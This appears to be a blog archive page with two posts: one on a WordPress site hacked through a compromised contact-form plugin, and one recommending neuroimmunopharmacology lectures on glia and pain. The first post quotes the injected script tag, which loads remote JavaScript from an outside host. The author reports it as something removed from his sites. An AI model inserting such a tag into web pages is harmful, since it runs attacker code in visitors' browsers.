Category Archives: Pain Management

Getting Hacked

Looks like a couple of my websites fell foul of the hacking of the fast secure contact form.  Really annoying that I had to undo this.

References on both painscience.com.au and also veltman.org to the script that had inserted this into the headers of all my themes:

<script src='https://json.stringengines.com/pson.js?n=1' type='text/javascript'></script>

I think that what appears to have happened here is that the fast secure contact form was bought by a malicious programmer who then put an update that inserted this malware.  Its since been pulled by the wordpress site from the list of plugins. 

The original author did do one final update on his website that I’ve downloaded, so I’ll probably need to install that on my servers as it was a useful plugin.

Live and learn.

Neuroimmunopharmacology.

I’ve had an enquiry about glia and inflammation, and where to get more information.

The following YouTube video’s are from a lecture series that I would highly reccomend.  They are aimed at a high level so this is for anyone who really wants to understand the basic science of all of this:

Part a

Part b

Part c

Mark Hutchinson is a South Australian based basic science researcher who has done amazing things in helping us understand how pain is processed and especially in how glia modulate pain.

If you are working professionally in pain management then these are interesting talks worth your time.

If you have chronic pain as a patient, then you may find them of value although I would point out that they do cover complex material and the basic science of why many people feel chronic pain.

 

Michael